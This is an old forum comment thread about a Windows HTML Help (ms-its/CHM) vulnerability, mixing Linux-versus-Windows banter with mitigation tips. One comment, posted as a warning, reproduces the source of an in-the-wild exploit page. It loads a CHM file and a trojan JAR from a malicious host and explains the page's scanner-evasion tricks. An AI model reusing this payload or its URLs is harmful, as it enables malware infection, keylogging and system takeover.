
Imagine teaching your mother to use one account for installs, and another for her email and browsing, then throw in some stuff that will only work under admin and you'll quickly see where this goes.

Somewhere in Linux-land, a phone rings....

Hello? Oh, hi mom. Yeah, I can help you install a program on your computer. What do you want to install? Oh, cool. Have you downloaded it? Good job. OK, open up a terminal.... it's a command line interface, where you type commands. Much more powerful than a GUI. Where did you save the file? You don't remember? Hmm. Just type "cd". Now type "ls". Do you see the file name? Great! OK, type "tar -zxf "

It didn't work? What does it say? OK. What is the name of the file you downloaded? Oh, well, that is a bzip file, not a tar and gzipped file. So type the same thing as before, but use "bzip2" instead of "tar".

What? Why didn't it work? Oh, it doesn't have the same syntax. Crap. Go to the man page. Oh, man stands for manual. Type "man bzip2". What does it say?

(20 minutes later)

OK, now we have uncompressed the files you need. No, not yet. Type "./configure" No, it's OK, it is figuring out what kind of computer and software you have.

OK, now type "make" OK, call me back when it is done.

(15 minutes later)

OK, now type "make install" What? Why not? What does it say? No, not that. Oh, wait, you have to be root. It is an administrator user.
Because not just everyone can install programs, for security reasons. Look, just change to the admin user by typing "su". OK, now enter the root password. I DON'T KNOW! You mean you don't know your root password?

(10 minutes later)

Mom, you should NOT use the dog's name as the password. Because it is insecure! Nevermind. Just type "make install". There. Now it is installed.

No, there is no icon, you have to type the name of program to run it. Type it. What? I don't know, what was the name of the binary after you compiled it? A binary file is a program you run. You compiled it when you typed "make". Hmm, let's look in the Makefile. Type "vi Makefile". What do you mean it is blank? Oh, wait. Use capital M. Type ":r Makefile" with a capital M.

OK, now you are in vi, the most powerful editor ever. WHAT DO YOU MEAN YOU PREFER EMACS!!!!

Re:In Linux-land...

[cmacb]

"Somewhere in Linux-land, a phone rings....

Hello? Oh, hi mom. Yeah, I can help you install a program on your computer. What do you want to install? Oh, cool. Have you downloaded it? Good job. OK, open up a terminal...."

Very funny, and very true.

I learned my lesson the hard way. I GAVE someone an older machine fully configured and ready to go with Debian installed. I did this after they constantly complained to me how their two Windows systems were messed up. I suggested that they use Linux to at least do their web browding and e-mail and save the Windows machines for whatever special applications (preferably non-networked) that they had.

Instead, they reformatted the machine and installed Windows on it, and gave it to someone else. Talk about gratitude. I don't think they even bothered to try it.

Needless to say I don't offer much sympathy for them new when they can't get their CD burner to work or they are getting new pop-ups, or they can't turn their machine off because they are afraid that it won't boot right again (a problem they have regularly). "So sorry" I say. I'm just a simple Linux user who doesn't understand that sophisticated Windows stuff.

My rule now is not to help anybody who does not really want to be helped. Give them the system ready to go. Tell then the root password and advise them to either leave it at that or change it and write it down, put it in their wallet if they have to. I'd also set up an alternate account that I can get into (with their permission) using SSH so that I can avoid the type of conversation in your example.

Of course if they were using Suse and the Yast installer they wouldn't have that problem. Or they could use Debian and Kpackage, Lindows and its equivalent, Mandrake and its equivalent. The Linux installers are getting better and better while the Windows stuff is either standing still or taking steps backwards to thwart exposures.

By and large the Aunt Tillies of this world don't install applications anyway. What they want is an Internet appliance, and Linux pretty much gives them that. I think the jury is still out on whether home users in the future will even need an e-mail client program. I already know many who don't know how to read their mail with anything but a web-based interface like Yahoo, and they've never even heard of newsgroups. If Google follows through on their 1-Gig Inbox concept who know, they might offer several Gigs of online hard-drive next. Given that, I'm not sure the average Internet user even needs a real hard drive in their machine. The true internet appliance may be just around the corner, rendering the OS wars moot.

Re:In Linux-land...

[OoSync]

Somewhere in Linux-land, a phone rings....

Hello? Oh, hi mom. Yeah, I can help you install a program on your computer. What do you want to install? Oh, cool. Have you downloaded it?

Okay, hang on for a moment.

$ ssh moms.computer.net

It'll be done in just a sec, Mom!

Re:In Linux-land...

[OhHellWithIt]

I think the time estimates for this are wildly optimistic.

Re:In Linux-land...

[CaptainFrito]

Windows is an OS for people who need to be isolated and insulated from workings of their computer. Trouble is that to accomplish this goal, somebody/something else needs to be in charge with remote access that can supercede/override the user, even without their consent (for this class of users themselves has no clue how to manage security), whalla! security holes.

Add to that Microsoft's position that Windows is less an OS than it is a vertical marketing tool, with its primary objective to assure its own financial success through whatever means is necessary. Like any bureaucracy, M$ has learned to feed itself, even if it means devouring its own siblings, which it does via releasing "patches" for security holes (thereby announcing to the world how to destroy systems that prefer to remain with current software versions), through relicensing (rewriting the basis under which you bought their product ex post facto), through unfair competition by financially decimating and destroying potential competitors (even money can't ressurect dead companies beyond name because the true innovators get scattered in the meantime), and various other well-documented other means...

But back to the main point, Tard Windows lUsers. An axiom from engineering school: Design some even an idiot can use, and only an idiot will use it. Hence Windows.

Re:In Linux-land...

[BokLM]

Somewhere in Linux-land, a phone rings....

Hello? Oh, hi mom. Yeah, I can help you install a program on your computer.
Ok, select "synaptic" in the programs menu, then enter the root password.
Now you can selected the program you want and click on the install button.

Re:In Linux-land...

[NanoGator]

Uh mom? What's your IP address? Hold on, I'll spend 15 minutes talking you through it.

Appearing soon in your inbox:

[Hell O'World]

a v'irus has been fo)und on Your"r sys:tem. Press F1 for mor'e in!format%ion.

disabling Help And Support service?

[RowdyReptile]

The code was for IE5, this is very unlikely. And a patch is available, its called shutting off the help sub-system. With Windows 2000 and XP it is a service, one which I never use, although I'm sure some people do.

Is that all you have to do? I just stopped and disabled the "Help and Support" service in WinXP Home. But then when I try "Help and Support" from the Start menu, that service switches itself to Automatic and starts again! Of course I won't be opening H&S any time soon.. but if "disabled" doesn't mean much, will it stop a virus? Or just start itself back up again?

Re:disabling Help And Support service?

[Vancorps]

You need to disable it with the resource kit. Disabling in the services snapin doesn't actually disable the service. I hate that about how its setup, it makes you think disabled is actually disabled but the SYSTEM user can turn it back on at any time even if the user has to change it back to turn it on themself.

This method is more desirable If you disable it for real then as I understand it it would prevent a virus from doing anything.

Re:disabling Help And Support service?

[IceAgeComing]

Windows has this reputation for "it just works!".

Yet the parent's post clearly shows that if you actually have to change anything fundamental, such as Services or Registry cleanups, it's a total fucking nightmare.

No wonder Windows admins get nervous, and sometimes run away screaming from changing Exchange configs, secure file sharing across networks, and nearly daily virus updates.

Am I forgetting anything?

Windows Vunerabilities

[Big_Kahunaca]

I love the smell of a Windows Vunerability in the morning....smells like victory...

For Linux I mean.

Quite!

[prandal]

If they open worm-propagating password-protected .zip attachments from unknown sources they'll open anything.

erm

[circletimessquare]

i think it's simply a matter of complexity

computers and software are getting more and more complex with each passing minute

play the statistics: it becomes inevitable, after a certain size level, that a given piece of software has at least one bug in it, somewhere, that can be exploited for wormlike/ viruslike behavior

you have faith in human engineering abilities, that is noble, but perhaps naive: humans have an infinite ability to screw something up without even realizing it, none of us are omniscient

and so: beware that false sense of security my friend, that will be your achilles heel more than windoze ever could be

and besides, you are forgetting the most error-prone piece of the equation which will always be the prime piece of failure when preventing any intrusion in any os, and can never be reengineered or routed around:

the end user ;-)

vigilant, not paranoid

[circletimessquare]

geez, someone is drowning in hyperbole today... is there absolutely no validity or wisdom in the simple, straightforward concept: be always vigilant when it comes to computer security? ;-P

Re:vigilant, not paranoid

[luckyguesser]

i think what the other posted is trying to suggest is: "Get the better security, THEN be vigilant."

Re:Big threat? Not really

[Dreadlord]

Have you RTFA? The vulerability can be exploited by convincing the victim to view an HTML document or an email, no need to use the help system or anything.

RTFA here, and check out the exploit demo here, and then figure out that you didn't use the help system, and yet the exploit happened.

Vulnerability in Windows Help?

[bluenirve]

Heh, I always fept vulnerable when using Windows help

CERT?

[kelzer]

I've always considered this to be CERT, not this.

Apparently our new Dept. of Homeland Security launched us-cert.gov as a partnership with Carnegie Mellon's cert.org (and others, in the future).

I feel safer already.

Re:CERT?

[Jack Schitt]

Funny, I thought a Cert was a breathmint. Interestingly enough, Google returned on 6 results for me.

http://www.google.com/search?q=cert+breathmint&s ou rceid=mozilla-search&start=0&start=0&ie=utf-8&oe=u tf-8

Re:Does that matter if we don't have IE's exe file

[bluenirve]

Yeah, it must be a dll loader, cause it can't be that small and have that many bugs. They give us a false sence of security!

Re:WebMail

[Tango42]

Education. There are technical solutions to most of these problems, but none are as good as teaching people to look after their computers better.

Re:Windows has problemss...

[42forty-two42]

Too bad you can't use them in a story you commented it (does it check IPs, too?)

Spams are using this

[HSpirit]

The other day my boss called me over to check out a suspicious looking email that had made it's way past SpamAssassin. It rendered blank, but looking at the raw message code revealed it was using just this kind of exploit (with a <FORM> to obfuscate what was really happening).

My boss' account has Restricted User privileges, with Eudora as the MUA and Mozilla as the browser, so no panic, but the fact that spammers are already using this is scary.

Re:Spams are using this

[seaswahoo]

Would setting the e-mail client to render e-mails as TEXT-ONLY by default help, perhaps?

No IE, no Windows Update

[violet16]

I use Firefox on WinXP, but if I use it to visit Windows Update, I get:

Thank you for your interest in Windows Update

Windows Update is the online extension of Windows that helps you get the most out of your computer.

You need to be running a version of Internet Explorer 5 or higher in order to use Windows Update.

Download the latest version of Internet Explorer

Without IE, I am permitted to manually browse through all (!) MS downloads to try to spot anything I might need, but I can't get it to tell me which patches I need, based on the current state of my OS.

So it's a choice between two evils: I either keep IE (and its assorted security holes) or I give up the ability to scan for OS patches.

(WinXP has an automated system for updates, but I'm not sure whether it does "Recommended" patches or just "Critical" ones, it doesn't do drivers, and I don't like having to take it on blind faith that it's working -- I want to scan to make sure.)

Re:No IE, no Windows Update

[drsmithy]

Without IE, I am permitted to manually browse through all (!) MS downloads to try to spot anything I might need, but I can't get it to tell me which patches I need, based on the current state of my OS.

This is because the scanning is done with an ActiveX control.

(WinXP has an automated system for updates, but I'm not sure whether it does "Recommended" patches or just "Critical" ones, it doesn't do drivers, and I don't like having to take it on blind faith that it's working -- I want to scan to make sure.)

It will only do "Critical" updates.

Re:No IE, no Windows Update

[GlassUser]

So don't use windows update. It's garbage any way. I think this is their way of encouraging you to do things the right way.

For a better way to see what updates you're missing, and direct links to the KB to download the fix, use MBSA (microsoft baseline security analyzer).

That doesn't work.

[Ayanami Rei]

Explorer is already running (as your shell) and you can't convince it to restart itself as a different user. What you have to do is kill your existing explorer, (which kills everything including your desktop) then use the task manager to start it again using runas.

The new problem there is your WHOLE DESKTOP is now running as Administrator. Remember to kill it and restart it as yourself when you're done.

Re:That doesn't work.

[afidel]

It doesn't, and is the number one real world reason why runas is all but worthless. If I could really login as a trusted user only when I need to then I would do it that way, but I can't get any real work done like that. If it was as easy to login as a second user as it is with XP's fast user switching then I think you would see a lot more admin's doing it. MS needs to fix fast user switching to work in domain mode for the next client OS if they really want to take a real world step towards better security.

Re:That doesn't work.

[jskiff]

Huh???

For XP, at least, it's right click and select "Run As..."

Re:That doesn't work.

[plj]

According to my experience, the Explorer in WXP does start new instance of itself with different priviledges when called by RunAs. In Windows 2000 instead - although the new instance of Explorer starts - it still seems to have only those priviledges that your regular account has.

This annoyance is why I normally prefer using WXP as a non-admin user and running RunAs whenever I need, but give in in W2k and log in as an administrator right away.

Re:That doesn't work.

[Kagami001]

I'm not sure it's documented anywhere, but the answer is to runas iexplore.exe rather than explorer.exe.

Re:That doesn't work.

[parksie]

This probably depends on the settings you have, I always turn "open new explorer windows with new process" on, for stability.

I don't have an available Windows machine to test on, but I would think this is what's affecting it.

What's next?

[Enigma_Man]

Will someone find out MS managed to make ascii text files a vulnerability?
YARR!
I never thought I'd be in with this crowd, but I'm looking to "make the switch" soon...
-Jesse

the registry key

[zogger]

I have some questions

If you advise people to delete the registry key, what are the ramifications for them during normal browsing?

The article says it may effect other browsers, but I am wondering if that is entirely true, are there any other windows browsers that people can run that won't suffer from the exploit?

The reason is, if you tell windows friends about this, point them to the advisory, you will get eyeballs rolling back. There needs to be a normal non guru level english description and howto deal with this.

I am reluctant to tell someone to *delete* a functioning registry key in particular, but seeing as how this involves merely clicking on an html page, the main deal with normal surfing.. well, what do you tell people? All the different "switch from this user level to that, unless you need this app, no wait, only for that one and..." and delete this and whatnot are just going to mostly result in *no action* being taken by most people if they even hear of this.

If someone can point to a better written (for normal users) synopsis and mitigation path than what is on certs site (technically accurate but rather convulted and arcane),I'd appreciaste it

Re:the registry key

[AxelBoldt]

are there any other windows browsers that people can run that won't suffer from the exploit?

Yes. Mozilla. It does not have this vulnerability nor any of the numerous other unpatched IE security vulnerabilites. Plus it offers nice tabbed browsing and a working popup blocker. It works on all operating systems and is free. There's really no reason not to use it.

Re:Windows has problemss...

[gotw]

Linux is *not* user friendly, and until it is linux will stay with >1% marketshare.

I was hoping linux would keep its marketshare above 1% anyway.

Meanwhile, in Mandrake-land

[fucksl4shd0t]

Phone rings.

Hi mom. You want to install a program? Ok, what's it called?

Great! Now open a terminal window. It's a command line interface and it's much more powerful than a gui. Got it open? Great. Now you have to become the superuser, so type 'su' and then put in the password.

You don't know your root password? Ask dad.

Ok, great, so now you're root. Now type "urpmi", a space, and the name of the program you wish to install.

It's asking for the CD that contains the program. Put that CD in and follow the directions.

You're done, now? Great! Now just click on your K menu and you should find it under "Applications". You don't have a K menu? You have a little paw. Ok, click the little paw, yes I know it's cute. Found it? Glad to help!

The fact is

[g0bshiTe]

That no matter what you tell people, no matter the way you present the facts. They will be reluctant to fix anything. I have told non-technical freinds about different exploits for years. Even gone as far as demonstrate how I could use IE to do what I wanted from an email. Yet they insist that their firewall, their virus scan software, keep their pc safe and secure. The only secure pc I've ever seen. Is the one not connected to the net.

So disable those ActiveX controls. Prompt to run .js. Stop viewing email in OE in html. Troll the security sites. Your attacker does.

Mozilla not vulnerable

[roca]

Mozilla is not vulnerable.

There are two kinds of protocol handlers in Windows: system-wide and IE-specific. Mozilla supports the system-wide protocols but not the IE-specific protocols. ms-its is an IE-specific protocol.

We should probably take a second look at the system-wide protocols, though. Currently we blacklist some and let the rest through.

Re:Mozilla not vulnerable

[AxelBoldt]

I wonder if people using this Mozilla plugin are vulnerable though.

Re:Mozilla not vulnerable

[roca]

I bet at least five people are using that.

Re:Windows has problemss...

[nolife]

On the flip side...

How do you get [whatever] to work on Windows.

Step 1: Insert the cd and let autorun take over and do everything for you.

If that does not work or you run into problems during game play, follow this 20 step procedure (if one is even available) and hope you eventually get it to work, if you can not get it to work, too fucking bad.

As an owner of a few EA Games, I've been down that road many times.

Re:Windows has problems...

[HeelToe]

Linux is *not* user friendly, and until it is linux will stay with >1% marketshare.

Take installation. Linux zealots are now saying "oh installing is so easy, just do apt-get install package or emerge package": Yes, because typing in "apt-get" or "emerge" makes so much more sense to new users than double-clicking an icon that says "setup".

I hate to break it to you, but anyone with the attitude you display is the problem, not a lack of user friendliness.

I have used linux since .95pre2 when it was bootstrap your own days. I've used 386bsd/FreeBSD from a similar point in time (since linux had no real networking layer at that point I switched permanently until the past 2 years where I'm again using both for different reasons).

I just did a fedora core 1 install. What a joke! Less questions, less knowledge required than a Windows install.

Even once you get it up and running it is smooth and easy to find what you want, vs. a standard kde install on another distro leaving you 40 choices for each type of functionality you'd like to use.

Here's the problem - any installation is somewhat of a barrier because most people do not install windows themselves - it comes on their computers. The steps being taken by Sun, Lindo(w)s, SuSe, Xandros, and others to get their distros defaulted on budget machines will get the familiarity and ease-of-use out there to the masses.


Linux zealots are far too forgiving when judging the difficultly of Linux configuration issues and far too harsh when judging the difficulty of Windows configuration issues. Example comments:

You're right. A friend is helping me bootstrap debian on a running machine I have nothing but net access to. Obviously a little tricky, but once you understand the basics, it's really reasonably easy. However, most Linux "power-users" would expect everyone to be able to do it.

Your examples with Quake show just why we need a common push for progress in this area, and the individual camps are making great strides, but there's needs to be a more unified effort to get better traction.

Re:Oh give me a break

[InternationalCow]

Maybe you think I'm some ignorant Joe Average computer user? I am not. I HAVE a firewall (hardware), I have the latest antivirus/antispyware and what have you stuff. I do not open attachments I do not trust. I have been using all kinds of OSes (including all versions of windows and several *NIXes) for years and know my way around the 'net. But surely it is at the very least most annoying to hear of major gaping security holes every now and then. Even more so when you realize that the exploit has been around for awhile before us end users ever hear of it and therefore have been vulnerable all the time. I don't trust Windows for one bit anymore. Oh, and the spyware/adware is annoying as hell. It's always nice not to have to update any scanners for that when in Linux/OSX. I do trust my Linux and OSX, these OSes are at the very least more difficult to screw up (apparently) than windows.

Please clarify

[JetScootr]

"In IE, it copied itself over..." (means to me: IE is vulnerable, and your test is valid)
"Firefox, OTOH, didn't budge...same thing with Netscape and Opera..."

Does "Same thing" mean your test with Netscape and Opera showed they were safe like Firefox, or they were vulnerable like IE?

I think you mean your test suggests they're safe, but I want to be sure....

Re:Please clarify

[pedrop357]

Sorry for the weird wording.

Basically, IE fell for the exploit, allowing wmplayer.exe to be copied over.

Firefox 0.8, Mozilla , Netscape 7.1, and Opera 7.23 didn't do anything-they just showed a blank page. They apppear to be immune, at least from this particular version of the exploit.

It's also worth noting, that like the exploit writer said, NAV didn't make any noise about what was going on and I had just updated my virus defs.

No. That doesn't work if explorer is involved.

[Ayanami Rei]

You can do it if the link ends up invoking rundll32 (for certain control panel components, for example). But if you use Right-Click Run As... on something like My Computer or the explorer icon you're not actually running it as another user. Go ahead, try it! Even with "Launch folders in a seperate process" you'll see that it'll accept the alterante user/password but no new window will launch. (hit CTRL+ALT+DELETE and check the processes running, you won't find explorer running as Administrator, I assure you)

[OT]Floppy/Viagra/SPAM

[mdfst13]

"What's a floppy??? Don't they have pills or something to fix it??"

Only for those who buy from SPAM. The rest of us must simply suffer tiny floppies. Plus, we miss out on our slice of the Nigerian wealth.

*sigh*

Administrator gui logins are bad...

[CreateWindowEx]

I've also had a similar experience of trying to run as a restricted user in W2K, always having to log in and out as different users to get anything done, some things don't work properly, etc, etc. I much prefer the way OS X handles it, in that you never "log in" as administrator, instead you just temporarily give privilege to one process when installing software or changing system settings. In most UNIX systems, you never log into the GUI as root. Because of this design in OS X, it pretty much forces apps to behave properly, and even casual users will usually understand that having to type in their password meens "something important is happening".

In Windows, it feels like the WINNT user/administrator model has been poorly integrated with the Win95 "wide open" model. I suppose it probably works better in big corporate environments where users are not allowed to install software at all to control tech support costs, and so having them be restricted all the time is fine. However, it works poorly in a home environment where the user and administrator are usually the same person. There doesn't seem to be any obvious reason why MS couldn't add this feature to XP since they already have the "multiple users" feature.

Re:Administrator gui logins are bad...

[Foolhardy]

[...]I much prefer the way OS X handles it, in that you never "log in" as administrator, instead you just temporarily give privilege to one process when installing software or changing system settings. In most UNIX systems, you never log into the GUI as root. Because of this design in OS X, it pretty much forces apps to behave properly, and even casual users will usually understand that having to type in their password meens "something important is happening".

Guess what? You can do the same thing in Windows: lookup runas(included) or sud or psexec.

Please explain

[RodeoBoy]

oh educate us oh mighty one.

Re:Please explain

[PlusFiveTroll]

? that needs explanation?!

Re:Windows has problemss...

[master0ne]

so THATS how you install Q3 in linux... finally Q3 in all its linux gameing gore-ey. now if i can just launch this rocke.. (explodes)

Remote help for helpless moms

[LibrePensador]

If the mythical mom was running KDE, she could have sent you a request for remote help by email, which works great. You take over the machine and help things.

And if you had set up the system for your mom, you would have kept the password for root, sshed remotely and done everything for her. Problem solved...

Stop looking for issues where there are none.

Re:Tired of the bias

[Syntax Heir]

Well when it comes to the government and it's security 'mandates' only Novell has ever been fully qualified. However, how many gov. shops are still running NT?

I worked for the governmnet for years and never saw ANY Netware despite it's comliant security rating.

Re:Why Should I care?

[kilfarsnar]

Since your tone indicates that you don't give a crap what happens to your computer, and you are happy to rebuild, I would say you don't need to worry about security. However, I do think that if you run a Windows machine (even patched) on the internet without a firewall you're wearing a sign that says, "hack me". Besides, wouldn't you rather rebuild on your own schedule, rather than someone else's?

Re:Windows has problemss...

[One Louder]

Interesting post, but what has difficulties in installing games on Linux got to do with the fact that Windows has a gaping security hole?

If Linux can't run a particular game out of the box, it doesn't hurt anyone. If Windows has a massive security hole, it costs businesses millions of dollars, clogs up the Internet with traffic, creates opportunities for spammers to make spam zombies, and exposes sensitive private data.

I just don't see how you can compare those two types of problems.

Ugly

[rixstep]

Ugly is right, and it's typical of MS to want to make 'compiled HTML files' in the first place.

They made their bed; now they can toss and turn in it.

MOD Parent Down (-1, Wrong)

[Whizzmo2]

Using the Recovery console to disable a service simply sets the Registry 'Start' value of that service to 0x4, exactly the same as using the Services MMC snap-in. It is no more "magic" than using the GUI. The only advantage is that one can use the recovery console if something in Windoze is borked to the point of not booting properly.

It is literally amazing to me the amount of blantant FUD being spread around here by so-called computer types.

Re:MOD Parent Down (-1, Wrong)

[Vancorps]

Sorry you are mistaken. Changing it from the recovery console is different, it will prevent even system from starting the service. Obviously the best method is to just remove the unneeded service from the registry. Then you never have to worry about it, until the next service pack which reinstalls it that is.

But I thought that Windows is Never Exploited...

[NegativeCreep]

..until a Patch is Available?

There are currently no patches available and no virus definitions for the major scanners. As well, exploits have been reported in the wild.

MS Security Chief: Windows Never Exploited Until Patch Available

Re:Windows has problemss...

[Anonymous Coward]

User: "How do I get Quake 3 to run in Windows?"
Zealot: "Oh God, I had to install Quake 3 in Windoze for some lamer friend of mine! God, what a fucking mess! I put in the CD and it took about 3 minutes to copy everything, and then I had to reboot the fucking computer! Jesus Christ! What a retarded operating system!"

I have always wondered about this particular Windows feature: the rebooting.

Why do I need to reboot after installing some silly game?? Clearly there are some kind of "ties" in the window manager that would need to be updated, but a full reboot?? Is that really nescessary or are they just too lazy to clean it up?

Can someone explain this paradox to me?

thanks I use it....

[zogger]

... and run linux myself. I just have a lot of friends who are still running windows (most of them by far) and I wanted to offer more precise and comprehensible instructions to them to avoid the nasties. I will admit I haven't been too effective in "evangelizing" switching OSs, because most of my friends are netfriends, so I can't just go over to their house and help them through first install and getting it all setup, etc.. Most people struggle by with patches, firewalls etc and have grown very familiar with their systems and honestly seem to not want to change, just fix it. It's inertia mostly. I think most people are still running 98 for instance. I asked on another article last week or so but didn't get any replies, asking if any web masters who run non technical non geek sites, just regular old sites would confirm that or not. heck, I know several people still running 95, because it still surfs good enough with their old machines, and they see no reason to purchase an expensive new machine. True facts there.

I have been advising people to switch browsers, etc for a long time, some have, that's about the best I can do. It takes actual physical interaction with people and direct help for them to see that they have viable alternatives. MS comes on their boxes, their kids play MS games, etc, they aren't in any rush to switch. This will not change until people buy a new computer with an alternative OS installed on it from the git-go, and that OS better work for them full GUI with no command line tweaking, and I've said that for years now.

Disabling Internet Explorer

[starshot]

This news raises the issue of MSIE being started by other applications, even if you use another browser as your default. Well, it is not hard to disable MSIE. (It's probably not wise to try to remove it.) The MSHTML.DLL is the HTML rendering control of IE, borrowed by many Microsoft apps and help, as well as things like Kazaa that have built in browsers. Basically, all you need to do is find all instances of MSHTML.DLL on your system and set the permission to No Access for everything. No more worries about IE starting up on you, although from time to time you may possibly find that you need to enable it for a small task or two.

Seems pretty benign

[Unregistered]

In order to exploit the help system, would the user need to dl and execute a help file? Once you can get a user to dl and execute something there isn't actually a need for a vulnerability and it's beyond what the OS can reasonably deal with.

Get rid of IE as the shell

[pjbgravely]

I don't have WinXP but XPlite should replace the web integrated shell with a more secure version. I put the free 98lite version on every Win98 I have used. The free version is not shareware but the paid version does a lot more. It looks like I will be trying this soon as my mother runs WinXP pro and she already got the blaster worm 1 day before it was discovered. She doesn't use IE but who knows how long it will be till she gets hit again.

Note that you must trick someone into...

[Assmasher]

...downloading a dirty help file or else manage to get them to view your html via their help client.

The first example (downloading) applies to people just as stupid as to download an executable and run it as well. The second would require you (afaik) to have a local help file that referenced another link that had been replaced with infected html.)

I don't think you can (even with some effort) view a webpage via HTML help without being linked there by a help file which you already have.

So, it doesn't appear to be an end of the world scenario by any means... Of course, on Slashdot we like to make fun of the devil a little bit too much. ;)

Catastrophic!!

[Lost Dragon]

This is *bound* to infect the 5 or 6 Windows users who actually read the help files!

Anyone know a site...

[rsilvergun]

that lists all the unpatched, arbitrary code vulnerabilities in Windows XP? I know I can look up viruses at Norton or McAfee's site or a dozen other places. I was wondering if anyone's tracking just the unpatched stuff though.

Re:Windows has problemss...

[GISGEOLOGYGEEK]

Yes because we all know that linux has not one single security issue, no one has ever tried to attack linux computers, no one running linux has ever had a security problem EVER.

It was predicted by this net cartoon thread B-)

[Ungrounded Lightning]

"It seems like you're trying to exploit a security hole. Would you like help?"

Whoa! Deja Vu!

It's almost echoing this recent thread in the Kernel Panic strip.

Playing music on your ScanJet

[sremick]

You know what'd be cool? A joke trojan that used your scanner to play music.

There used to be a program that'd play a MIDI file on an HP ScanJet II by moving the motor at different speeds for different pitches. It was funny as hell. I wonder if that still exists anywhere, and would work with the new-fangled USB ScanJets...

Re:Windows has problemss...

[GISGEOLOGYGEEK]

Notice that the moderation points are distributed as 40% offtopic, and 10% troll right now.

Yet again showing the world that those Linux zealots are scared of the truth, trying to hide your words below the threshold of many of the readers here. The day of the linux desktop has arrived! NOT, lets stop hearing that waste of a buzz word every 3 months.

The poster's description describes exactly what I've been going through trying to get some spatial database software to run on fedora .... but you left out a few points.

The zealots dont keep their websites or manuals upto date so you have no idea that there are more mandatory yet hidden steps that you must do to prevent failure. I love it when my newer compiler won't compile software coded for a slightly older version of the same compiler ... at least Windows trys to keep things backwards compatible for more than a month or two!

The zealots never lay out exactly the step by step basic instructions that someone less familiar with linux could forget. The odd one of them makes an INSTALL.NEWBS file for those in need, but most assume that you can read between the lines and already know you need to install package xxx before package yyy. Forcing you to do things out of order, screw up the install and have to go back to the start and try again when ONE SIMPLE SENTANCE in the instructions would have saved me all the hastle.

I especially love those developers who have their hourly CVS snapshot ready for you to run with ... but don't bother to post a warning or deactivate the link when for the last month the snapshot install won't give you functional software because they've been working on this or that in the background.

I have easily experienced 100 problems trying to install and run linux software for every single problem I've EVER encountered running the easily installed software for windows. ... And I do a hell of a lot more with my time than just play quake.

An example in the wild - BE CAREFUL IE USERS

[_pi-away]

I found this page yesterday, it is an exploit of this vulnerability.

WARNING - IF YOU ARE USING IE, THIS PAGE WILL LOAD SERVERAL EXPLOITS INTO YOUR SYSTEM - NOTABLY SHERLOK2.EXE (KEY LOGGER) AND REG33.EXE (DISABLED WINDOWS UPDATE). YOU HAVE BEEN WARNED!

The link is here.
http://hard-virgins.com/sher/test.html

For those who don't want to follow it, here is the page source.

<html><head>
</head><body>
<textarea id="cxw" style="display:none;">
<object data="${PR}" type="text/x-scriptlet"></object>
</textarea>

<script language="javascript">
document.write(cxw.value.replace(/\${PR}/g,'&#109; s-its:mhtml:file://c:\\nosuch.mht!http://hard-virg ins.com/sher/x.chm::/x.htm'));
</script>
<applet width=1 height=1 ARCHIVE=loader.jar code=Counter></APPLET>
</body></html>

This loads and runs the x.chm file from
http://hard-virgins.com/sher/x.chm

and also the loader.jar file from
http://hard-virgins.com/sher/loader.jar

Loader.jar contains the Byte.Verify Trojan to gain full access.

Notice the use ${PR} and then substitution for the exploit code. I don't know exactly why they did that, maybe to stop scanners that check object data. Also note the use of the hex &#109; (m) instead of just the char 'm'. This gives the 'ms-its' type but will get by dumb scanners (read enterprise firewall filters).

I was still pondering why in the world they would be loading a help file when i saw this story, so thanks for ansering my question /.

BTW, if you are running NAV2004 with fairly recent definitions (reg33.exe, sherlok2.exe, and parser.class are fairly old exploits) than norton will stop these exploits from running and delete them, but they still get on your system just fine.

So careful out there, this exploit is dangerous.

I'd like to take the time to apologize

[Gary Destruction]

I'd like to take the time to apologize for the shortcomings of my advice regarding restricted user accounts and privilege level. I try to lock things down and I do what you can, but sometimes things don't always work out the way I want them to. Some things just aren't as simple and cut and dry as I would like to believe they are. And I apologize if my advice was short sighted or misleading.

Both are thus insecure.

[Inoshiro]

But which one will be patched sooner so that img src= is restricted to http/https protocols only? (Except for HTML from file://, which can also access file://...)

Re:Windows has problemss...

[One Louder]

Where exactly did I say anything about Linux having or not having security problems? I'm just saying that you can't equate remotely exploitable security holes with difficulties installing a game as the original poster had done.

If he had instead pointed out a security problem in Linux, like, say, in the help system or the email client, comparable to the one in Windows, then I'd be the first to agree with him. Perhaps you know of one?

Pfft. BS Flag.

[delus10n0]

Name something that SP1 broke that either:

a) Affected you.
or
b) Hasn't been fixed via Hotfix already.

Re:Pfft. BS Flag.

[hdparm]

This one

these

or this shit

Perhaps this summary would do, you tools.

But who cares, I don't need this crap, I use better OS.

Re:Pfft. BS Flag.

[delus10n0]

The fact that you linked to grc.com proves you have an IQ of around 5. Your arguement is now null and void!

NO SOUP FOR YOU! NEXT!

Re:Pfft. BS Flag.

[hdparm]

Those were first few Google returned links. I have no idea where to find info like this since I hate Windows, Microsoft and people who try to defend them no matter what. I will never use any of their products again, so I'll never need this information.

You are in denial. Admitting that MS and their software suck is the way of dealing with issues. Try, it does not hurt.

Re:Windows has problemss...

[Ancient Devices King]

How is Linux any better about this? When something doesn't work on my Gentoo box, I have two choices: debug it myself, or follow some 20 step procedure someone else has for debugging it. Your typical user isn't going to do the first one, but they might do the second. But on Windows, they will also have some tech support number to call for help. Even if the support people are useless, most users won't know that and will just feel comforted to know that there's someone to call if it breaks.

Open Source is clearly superior

[Deraj DeZine]

Since no one writes documentation for OSS, such a bug is a non-issue.

(DISCLAIMER: this is a joke, there is no guarantee that this joke will be funny to you and this joke comes with NO WARRANTY WHATSOEVER)

I Cannot Wait...

[Nom du Keyboard]

I cannot wait for the NX (no execute) bit to become part of the mainstream PC archtecture and operating systems. I wonder why it couldn't have happened years ago. Some mainframe systems had it decades ago.

Re:Windows has problemss...

[cybermint]

Couldn't agree with you more. I've run into a slew of software bugs in linux and while they usually get fixed, it may take months if ever. This is free software, so they're not getting paid, so they take their time about. I don't blame them. If it was my software I'd do the same. (In the mean time I reinstalled windows so I could get some work done, but that's not the real point of this.)

A while back some tried to charge for support, but there is a big problem with that. Who wants to pay for support on a buggy app with half the features of it's windows counterpart? I'd rather just buy the windows version and not have to worry about it. Of course there are exceptions to this, both pro/anti windows/linux.

There is a reason that windows has the market share it does. There is a reason that many linux users are moving to OSX. There is a reason Redhat, the #1 linux desktop developer, dropped out of the market.

Re:Windows has problemss...

[Frizzle Fry]

(does it check IPs, too?)

I haven't checked, but I don't think so. Wouldn't this mess with people who are behind a proxy?

To really get rid of IE you need to remove

[phalse phace]

To really get rid of IE you need to remove..... Windows, and install Linux.

Re:Windows has problemss...

[00420]

